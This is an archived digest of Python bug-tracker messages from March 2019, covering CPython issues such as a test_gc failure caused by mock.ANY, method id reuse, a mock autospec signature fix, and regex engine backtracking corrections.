From report at bugs.python.org  Fri Mar  1 00:22:07 2019
From: report at bugs.python.org (David Ford (FirefighterBlu3))
Date: Fri, 01 Mar 2019 05:22:07 +0000
Subject: [issue29539] [smtplib] collect response data for all recipients
In-Reply-To: <1551406595.04.0.700781224768.issue29539@roundup.psfhosted.org>
Message-ID: <CAFZ8Xq7VHWJqvoBqqkenS8F-7ps_WWCD0jtVmNE_PhmZSaTXhw@mail.gmail.com>


David Ford (FirefighterBlu3) <firefighterblu3 at gmail.com> added the comment:

i have a fully built patch and personally tested (i use it 24/7) but
haven't done test_* yet as was requested

On Thu, Feb 28, 2019 at 9:16 PM Windson Yang <report at bugs.python.org> wrote:

>
> Windson Yang <wiwindson at outlook.com> added the comment:
>
> sls, are you working on this feature now?
>
> ----------
> nosy: +Windson Yang
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue29539>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29539>
_______________________________________

From report at bugs.python.org  Fri Mar  1 00:42:10 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 01 Mar 2019 05:42:10 +0000
Subject: [issue36018] Add a Normal Distribution class to the statistics module
In-Reply-To: <1550448059.37.0.914986932061.issue36018@roundup.psfhosted.org>
Message-ID: <1551418930.37.0.920691128826.issue36018@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
pull_requests: +12120

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36018>
_______________________________________

From report at bugs.python.org  Fri Mar  1 00:47:28 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 05:47:28 +0000
Subject: [issue36018] Add a Normal Distribution class to the statistics module
In-Reply-To: <1550448059.37.0.914986932061.issue36018@roundup.psfhosted.org>
Message-ID: <1551419248.71.0.381439457015.issue36018@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 9add4b3317629933d88cf206a24b15e922fa8941 by Miss Islington (bot) (Raymond Hettinger) in branch 'master':
bpo-36018: Add documentation link to "random variable" (GH-12114)
https://github.com/python/cpython/commit/9add4b3317629933d88cf206a24b15e922fa8941


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36018>
_______________________________________

From report at bugs.python.org  Fri Mar  1 00:52:29 2019
From: report at bugs.python.org (Saba Kauser)
Date: Fri, 01 Mar 2019 05:52:29 +0000
Subject: [issue36075] python 2to3 conversion tool is generating file with
 extra line for every input line
In-Reply-To: <1550828319.37.0.854628356141.issue36075@roundup.psfhosted.org>
Message-ID: <1551419549.76.0.837550308334.issue36075@roundup.psfhosted.org>


Saba Kauser <skauseribmdb at gmail.com> added the comment:

Thanks  Karthikeyan!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36075>
_______________________________________

From report at bugs.python.org  Fri Mar  1 02:20:43 2019
From: report at bugs.python.org (David Bolen)
Date: Fri, 01 Mar 2019 07:20:43 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551424843.73.0.273658547829.issue33608@roundup.psfhosted.org>


David Bolen <db3l.net at gmail.com> added the comment:

I suspect changes for this issue may be creating test_io failures on my windows builders, most notably my x86 Windows 7 builder where test_io has been failing both attempts on almost all builds.  It fails with a lock failure during interpreter shutdown, and commit ef4ac967 appears the most plausible commit out of the set introduced at the first failing build on Feb 24.

See https://buildbot.python.org/all/#/builders/58/builds/1977 for the first failure.  test_io has failed both attempts on all but 3 of the subsequent 16 tests of the 3.x branch.

It might be worth noting that this builder is slow, so if there are timeouts involved or a race condition of any sort it might be triggering it more readily than other builders.  I do, however, see the same failures - albeit less frequently and not usually on both tries - on the Win8 and Win10 builders.

For what it's worth one other oddity is that while having test_multiprocessing* failures are relatively common on the Win7 builder during the first round of tests due to exceeding the timeout, they usually pass on the retry, but over this same time frame have begun failing - not due to timeout - even on the second attempt, which is unusual.  It might be coincidental but similar failures are also showing up sporadically on the Win8/Win10 builders where such failures are not common at all.

----------
nosy: +db3l

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  1 02:23:15 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 01 Mar 2019 07:23:15 +0000
Subject: [issue36103] Increase shutil.COPY_BUFSIZE
In-Reply-To: <1551087533.63.0.252770144463.issue36103@roundup.psfhosted.org>
Message-ID: <1551424995.52.0.944599426218.issue36103@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12121
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36103>
_______________________________________

From report at bugs.python.org  Fri Mar  1 02:29:13 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 07:29:13 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
Message-ID: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>


New submission from Karthikeyan Singaravelan <tir.karthi at gmail.com>:

I am not sure of the exact cause about this failure but `./python.exe -m test -m test_gc` fails though `./python.exe -m test -v test_gc` passes. This test was recently added with 175421b58cc97a2555e474f479f30a6c5d2250b0 and issue36016.

./python.exe -m test -m test_gc
== CPython 3.8.0a2+ (heads/master:f684d83d86, Mar 1 2019, 10:39:16) [Clang 7.0.2 (clang-700.1.81)]
== macOS-10.10.4-x86_64-i386-64bit little-endian
== cwd: /Users/karthikeyansingaravelan/stuff/python/cpython/build/test_python_21045
== CPU count: 4
== encodings: locale=UTF-8, FS=utf-8
Run tests sequentially
0:00:00 load avg: 1.85 [  1/420] test_grammar
[snip]
0:00:36 load avg: 2.17 [156/420] test_gc -- test_future5 run no tests
test test_gc failed -- Traceback (most recent call last):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/test_gc.py", line 775, in test_get_objects
    self.assertNotIn(l, gc.get_objects(generation=2))
AssertionError: [[...]] unexpectedly found in <list object at 0x112b5d668>
0:00:48 load avg: 2.14 [157/420/1] test_gdb -- test_gc failed

----------
components: Tests
messages: 336898
nosy: inada.naoki, pablogsal, xtreak
priority: normal
severity: normal
status: open
title: ./python -m test -m test_gc fails
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 02:36:04 2019
From: report at bugs.python.org (Larry Hastings)
Date: Fri, 01 Mar 2019 07:36:04 +0000
Subject: [issue33127] Python 2.7.14 won't build ssl module with Libressl 2.7.0
In-Reply-To: <1521831698.99.0.467229070634.issue33127@psf.upfronthosting.co.za>
Message-ID: <1551425764.06.0.197598691366.issue33127@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 56f8783e3e32ddc0cb84a96711e3861aea9895ac by larryhastings (Alex Viscreanu) in branch '3.5':
[3.5] bpo-33127: Compatibility patch for LibreSSL 2.7.0 (GH-6210) (#10994)
https://github.com/python/cpython/commit/56f8783e3e32ddc0cb84a96711e3861aea9895ac


----------
nosy: +larry

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33127>
_______________________________________

From report at bugs.python.org  Fri Mar  1 02:38:24 2019
From: report at bugs.python.org (Larry Hastings)
Date: Fri, 01 Mar 2019 07:38:24 +0000
Subject: [issue34623] _elementtree.c doesn't call XML_SetHashSalt()
In-Reply-To: <1536619664.47.0.56676864532.issue34623@psf.upfronthosting.co.za>
Message-ID: <1551425904.62.0.478710697776.issue34623@roundup.psfhosted.org>


Change by Larry Hastings <larry at hastings.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34623>
_______________________________________

From report at bugs.python.org  Fri Mar  1 02:57:27 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 07:57:27 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551427047.28.0.74829412011.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

It seems that some collection from some other test is happening between the three calls to get_objects:

self.assertIn(l, gc.get_objects(generation=0))
self.assertNotIn(l, gc.get_objects(generation=1))
self.assertNotIn(l, gc.get_objects(generation=2))

The easiest solution is deactivating the gc at the beginning of the test and reactivating it afterwards, as the test is relying on manual collection. In this way, external collections cannot affect the test. I will prepare a PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 03:14:45 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 08:14:45 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551428085.52.0.563635168046.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

This may be more complicated that it seems as these two statements are true at the same time:

l in gc.get_objects(generation=0)
True
p l in gc.get_objects(generation=2)
True

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 03:15:21 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 08:15:21 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551428121.09.0.852809014487.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

But this only happens when running the test suite as ./python.exe -m test -m test_gc

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 03:48:20 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 08:48:20 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551430100.77.0.832222121045.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Ok, this is happening because there is a unittest.mock._ANY in the second generation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 03:49:21 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 01 Mar 2019 08:49:21 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551430161.32.0.0812050110878.issue36154@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

How do you execute Python?
If you don't use terminal, please try executing Python from terminal.
And see what is output from Python in terminal.

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 03:53:38 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 08:53:38 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551430418.92.0.41273852891.issue36155@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
keywords: +patch
pull_requests: +12122
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 03:59:43 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 08:59:43 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551430783.36.0.450516221821.issue36155@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

If I understand this correctly any combination that imports mock._ANY affects test_gc like below combination that uses mock._ANY causes test_gc to fail ?

./python.exe -m unittest unittest.test.testmock test.test_gc
[snip output]
----------------------------------------------------------------------
Ran 404 tests in 8.551s

FAILED (failures=1, skipped=1)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 04:08:19 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 09:08:19 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551431299.44.0.287600315893.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Yup, I was actually using:

./python.exe -m test  test_asyncio test_gc -m test_gc 

when I found out thst the core cause was mock._ANY :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 04:12:40 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 09:12:40 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551431560.58.0.361306631945.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset d60a79a1015aa26ff7ee3166820ec43558911b60 by Pablo Galindo in branch 'master':
bpo-36155: Check for identity on test_gc.test_get_objects (GH-12116)
https://github.com/python/cpython/commit/d60a79a1015aa26ff7ee3166820ec43558911b60


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 04:13:11 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 09:13:11 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551431591.05.0.416341070247.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Ok, this one has been fun :)

Thanks for finding this one @xtreak!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 04:19:46 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 09:19:46 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551431986.47.0.534986515492.issue36155@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

No problem. Thanks for fix :)

I stumbled upon it due to a typo where I used -m instead of -v in python -m test -m test_gc instead of python -m test -v test_gc . Any suggestion on how you debugged it was mock ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 04:32:04 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 01 Mar 2019 09:32:04 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551432724.14.0.645186151982.issue36155@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Well, unless there was a bug on the gc, the only way the list l could be on both lists is if in one of them there was something that was saying that is equal to it. To confirm I checked what was equal to l in the second generation and I saw it was mock.ANY 

:)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 04:45:14 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 09:45:14 +0000
Subject: [issue36155] ./python -m test -m test_gc fails
In-Reply-To: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>
Message-ID: <1551433514.85.0.701452086165.issue36155@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Thanks for the explanation :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:01:47 2019
From: report at bugs.python.org (lgj)
Date: Fri, 01 Mar 2019 10:01:47 +0000
Subject: [issue36156] different method, but id function return same value.
Message-ID: <1551434507.65.0.524954785734.issue36156@roundup.psfhosted.org>


New submission from lgj <929102624 at qq.com>:

>>> class A:
...     def a(self):
...         return 0
...     def a1(self):
...         return 1
...
>>> a =A()
>>> id(a.a)
4316559496
>>> id(a.a1)
4316559496
>>> id(a)
4318155272
It' seems oops , according to the id function source code.
here is the description of builtin_id function in Python/bltinmodule.c
/* 
Return the identity of an object.

This is guaranteed to be unique among simultaneously existing objects.
(CPython uses the object's memory address.)
[clinic start generated code]*
/
It seems should return different value, but id(a.a) as same as 
id(a.a1), Is it a bug?

----------
components: Library (Lib)
messages: 336912
nosy: lgj1993
priority: normal
severity: normal
status: open
title: different method, but id function return same value.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36156>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:07:22 2019
From: report at bugs.python.org (Peixing Xin)
Date: Fri, 01 Mar 2019 10:07:22 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1551434842.02.0.690442121367.issue31904@roundup.psfhosted.org>


Change by Peixing Xin <peixing.xin at windriver.com>:


----------
pull_requests: +12123

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:19:44 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Fri, 01 Mar 2019 10:19:44 +0000
Subject: [issue36152] IDLE: Remove close_when_done from colorizer close()
In-Reply-To: <1551397909.36.0.802357976023.issue36152@roundup.psfhosted.org>
Message-ID: <1551435584.17.0.304811331059.issue36152@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset b9f0354efce95b7557bc43ea193c4b652cd28392 by Cheryl Sabella in branch 'master':
bpo-36152: IDLE: Remove unused parameter from colorizer (GH-12109)
https://github.com/python/cpython/commit/b9f0354efce95b7557bc43ea193c4b652cd28392


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36152>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:19:54 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 10:19:54 +0000
Subject: [issue36152] IDLE: Remove close_when_done from colorizer close()
In-Reply-To: <1551397909.36.0.802357976023.issue36152@roundup.psfhosted.org>
Message-ID: <1551435594.19.0.495649495984.issue36152@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12124

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36152>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:20:29 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 10:20:29 +0000
Subject: [issue26752] Mock(2.0.0).assert_has_calls() raise AssertionError in
 two same calls
In-Reply-To: <1460619804.34.0.222553592589.issue26752@psf.upfronthosting.co.za>
Message-ID: <1551435629.2.0.612593790355.issue26752@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

@guboi72 is right that signature for class constructor is used also for methods. Another possible solution would be that mock stores it's children in _mock_children dictionary so when a method is called then name can be used to get the relevant child mock which would have the signature set that can be used.

In the below program call().foo also uses the signature (a, b) of __init__ and in the call_matcher check name "foo" can be used to get the child mock from mock_class._mock_children that will have the signature set during create_autospec. This will give the signature (a) but it's little difficult to construct the name. It also needs to handle cases for inner classes like Foo.Bar.foo() where Bar is an inner class inside Foo.

from unittest.mock import *

class Foo:

    def __init__(self, a, b):
        pass

    def foo(self, a):
        pass


mock_class = create_autospec(Foo)
mock = mock_class(1, 2)
mock.foo(1)
print(mock_class._mock_children)
print(mock._mock_children)
mock_class.assert_has_calls([call(1, 2), call().foo(1)])
mock.assert_has_calls([call.foo(1)])


$ python3.7 ../backups/unittest_mock_spec_conflict.py
{'foo': <MagicMock name='mock.foo' spec='function' id='4534528096'>}
{'foo': <MagicMock name='mock().foo' spec='function' id='4534099584'>}
Traceback (most recent call last):
  File "../backups/unittest_mock_spec_conflict.py", line 17, in <module>
    mock_class.assert_has_calls([call(1, 2), call().foo(1)])
  File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/unittest/mock.py", line 852, in assert_has_calls
    ) from cause
AssertionError: Calls not found.
Expected: [call(1, 2), call().foo(1)]
Actual: [call(1, 2), call().foo(1)]

A very rough hack that fixes the above case and explains my approach but not so robust.

diff --git a/Lib/unittest/mock.py b/Lib/unittest/mock.py
index 2ccf0d82ce..f0e917d57e 100644
--- a/Lib/unittest/mock.py
+++ b/Lib/unittest/mock.py
@@ -777,7 +777,17 @@ class NonCallableMock(Base):
             else:
                 name, args, kwargs = _call
             try:
-                return name, sig.bind(*args, **kwargs)
+                if name:
+                    if name.startswith("()"):
+                        mock_name = "mock" + name # Handle call().foo where name is ().foo
+                    else:
+                        mock_name = "mock." + name # Handle call.foo where name is foo
+                    sig = self._mock_children.get(mock_name)
+
+                if sig:
+                    return name, sig.bind(*args, **kwargs)
+                else:
+                    return _call
             except TypeError as e:
                 return e.with_traceback(None)
         else:

----------
nosy: +cjw296, mariocj89
versions: +Python 3.7, Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26752>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:24:01 2019
From: report at bugs.python.org (Inada Naoki)
Date: Fri, 01 Mar 2019 10:24:01 +0000
Subject: [issue36156] different method, but id function return same value.
In-Reply-To: <1551434507.65.0.524954785734.issue36156@roundup.psfhosted.org>
Message-ID: <1551435841.92.0.216346024746.issue36156@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

a.a creates temporal method object.  After id(a.a), it is removed.
So a.a and a.a1 are not "simultaneously existing objects" in your case.

Try this:

x = a.a
y = a.a1
id(x), id(y)

x and y are "simultaneously existing objects" now.

----------
nosy: +inada.naoki
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36156>
_______________________________________

From report at bugs.python.org  Fri Mar  1 08:27:04 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Fri, 01 Mar 2019 13:27:04 +0000
Subject: [issue36152] IDLE: Remove close_when_done from colorizer close()
In-Reply-To: <1551397909.36.0.802357976023.issue36152@roundup.psfhosted.org>
Message-ID: <1551446824.95.0.538426010701.issue36152@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36152>
_______________________________________

From report at bugs.python.org  Fri Mar  1 08:30:00 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Fri, 01 Mar 2019 13:30:00 +0000
Subject: [issue36156] different method, but id function return same value.
In-Reply-To: <1551434507.65.0.524954785734.issue36156@roundup.psfhosted.org>
Message-ID: <20190301110611.GI4465@ando.pearwood.info>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

bugs.python.org seems to be down at the moment, so please forgive me if 
this ticket has already been closed and I'm repeating what has already 
been said.

> This is guaranteed to be unique among simultaneously existing objects.

Note the *simultaneously existing* comment. Since the method objects a.a 
and a.a1 don't exist simultaneously, the interpreter is allowed to reuse 
the same ID for each.

(P.S. please, next time use less confusing names!)

Your code does this:

- fetch a.a, which returns a new method object;
- print the ID of that method object;
- throw away and garbage collect the method object;
- fetch a.a1, which returns a new method object;
- print the ID of that method object which happens
  to get the same value as the previous object;
- throw away and garbage collect the method object.

You can see the difference if you do this:

spam = a.a
eggs = a.a1
print(id(spam), id(eggs))

and you will get two different IDs.

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36156>
_______________________________________

From report at bugs.python.org  Fri Mar  1 08:31:17 2019
From: report at bugs.python.org (Ma Lin)
Date: Fri, 01 Mar 2019 13:31:17 +0000
Subject: [issue35859] Capture behavior depends on the order of an alternation
In-Reply-To: <1548857774.3.0.1614070954.issue35859@roundup.psfhosted.org>
Message-ID: <1551447077.19.0.351515184732.issue35859@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

The PR11756 is prepared.
I force-pushed the patch in four steps, hope you can review it easier:
https://github.com/python/cpython/pull/11756/commits

? Step 1, test-cases

Show the wrong behaviors before this fix, the corresponding test-case will be updated in next steps.

? Step 2, MARK_PUSH(lastmark) macro bug

This bug was reported in this issue.

MARK_PUSH(lastmark) macro didn't protect MARK-0 if it was the only available mark.

Note that if skip this step and apply Step 3, it happens to pass the test. But this is indeed a bug that should be fixed.

? Step 3, jump JUMP_MIN_UNTIL_3 needs LASTMARK_SAVE() and MARK_PUSH()

This bug was triggered by a pattern which provided by Serhiy Storchaka:
>>> re.match(r'(ab?)*?b', 'ab').group(1)
''
Expected result: 'a'

This is due to the lack of protection before JUMP.
sre has these JUMPs, the current protection is written in [], the purpose of this JUMP is written in ().

in op SRE_OP_MAX_UNTIL ? (...)*
JUMP_MAX_UNTIL_1 [no protect] (try a repeat, to min limit of repeat)
JUMP_MAX_UNTIL_2 [LASTMARK_SAVE, MARK_PUSH] (try a repeat, until max limit of repeat)
JUMP_MAX_UNTIL_3 [no protect] (try the tail of this repeat)

in op SRE_OP_MIN_UNTIL ? (...)*?
JUMP_MIN_UNTIL_1 [no protect] (try a repeat, to min limit of repeat)
JUMP_MIN_UNTIL_2 [LASTMARK_SAVE] (try the tail of this repeat)
JUMP_MIN_UNTIL_3 [no protect] (try a repeat, until max limit of repeat)

in op SRE_OP_REPEAT_ONE ? .*
JUMP_REPEAT_ONE_1 [LASTMARK_SAVE] (try the tail of this repeat)
JUMP_REPEAT_ONE_2 [LASTMARK_SAVE] (try the tail of this repeat)

in op SRE_OP_MIN_REPEAT_ONE ? .*?
JUMP_MIN_REPEAT_ONE [LASTMARK_SAVE] (try the tail of this repeat) 

in op SRE_OP_BRANCH ? ...|...
JUMP_BRANCH [LASTMARK_SAVE in any case, MARK_PUSH if in a repeat] (try a branch)

in op SRE_OP_ASSERT ? (?=...)
JUMP_ASSERT [no protect] (try to match a sub-pattern)

in op SRE_OP_ASSERT_NOT ? (?!=...)
JUMP_ASSERT_NOT [no protect] (try to match a sub-pattern)

These protections have not been changed since commit caf1c9dfe779 (2003-4-27).
Why it came out like this? There is a note in the message of commit be733ee7fb7e (2003-4-20):

> Gustavo Niemeyer wrote:
> As a note. It seems that there are other places that require the
> "protection" of LASTMARK_SAVE()/LASTMARK_RESTORE(), and are just
> waiting for someone to find how to break them. Particularly, I
> believe that every recursion of SRE_MATCH() should be protected
> by these macros. I won't do that right now since I'm not completely
> sure about this, and we don't have much time for testing until
> the next release.

Now we found some test-cases to break them, it seems JUMP_MIN_UNTIL_3 should be protected.

I tried to summarize a rule of protection:

if is_backtrack_point: # may backtrack if the tail fail
    LASTMARK_SAVE()
elif is_repeat_body:   # is a sub-pattern inside (...)* or (...)*?
    LASTMARK_SAVE()
    MARK_PUSH()

I did some experiments, it seems this rule works.
Since JUMP_MIN_UNTIL_3 is a repeat body, it needs protection, same as JUMP_MAX_UNTIL_2.

With this rule, JUMP_MAX_UNTIL_3 should LASTMARK_SAVE() as well, but this is not needed. sre uses stack to simulate recursive call, in fact JUMP_MAX_UNTIL_3 is protected by JUMP_MAX_UNTIL_2 from the previous SRE_OP_MAX_UNTIL execution.

? Step 4, JUMP_ASSERT_NOT needs LASTMARK_SAVE()

This bug is about negative assertion, initially reported in issue725149, but they didn't fix it for some reasons:

> Gustavo Niemeyer wrote:
> it changes the current behavior, which is also compatible to how
> perl works.
> ...
> This way, we can think further about this, and look for an elegant
> solution to fix that support, certainly including some algorithm
> to check for half-marked groups.

IMO we can fix it, here is two test-cases:

Case-A, negative assertion:
re.match(r'(?!(..)c)', 'ab').group(1)

Case-B, negative assertion in a repeat:
re.match(r'(?:(?!(ab)c).)*', 'ab').group(1)

                    Case-A         Case-B
PHP 7.3.2           NULL           NULL
Java 11.0.2         null           null
Perl 5.26.1         "ab"           "ab"
Ruby 2.6.1          nil            nil
Go 1.12             doesn't support lookaround
Rust 1.32.0         doesn't support lookaround
Node.js 10.15.1     undefined      undefined
regex 2019.2.21     None           None
re before patch     "ab"           "b"
re after patch      None           None

In Case-A, sre looks compatible with Perl.
But in Case-B, sre is definitely wrong, so we can follow the mainstream behavior.

? Interesting sidelights 1

Found a Perl bug:

perl -le 'print defined($1)?"\"$1\"":"undef",",",defined($2)?"\"$2\"":"undef" if "ab" =~ /((ab?)*?b)/'
"ab",undef

Expected result: "ab","a"

All other engines (except unpatched sre) return the correct result.

? Interesting sidelights 2

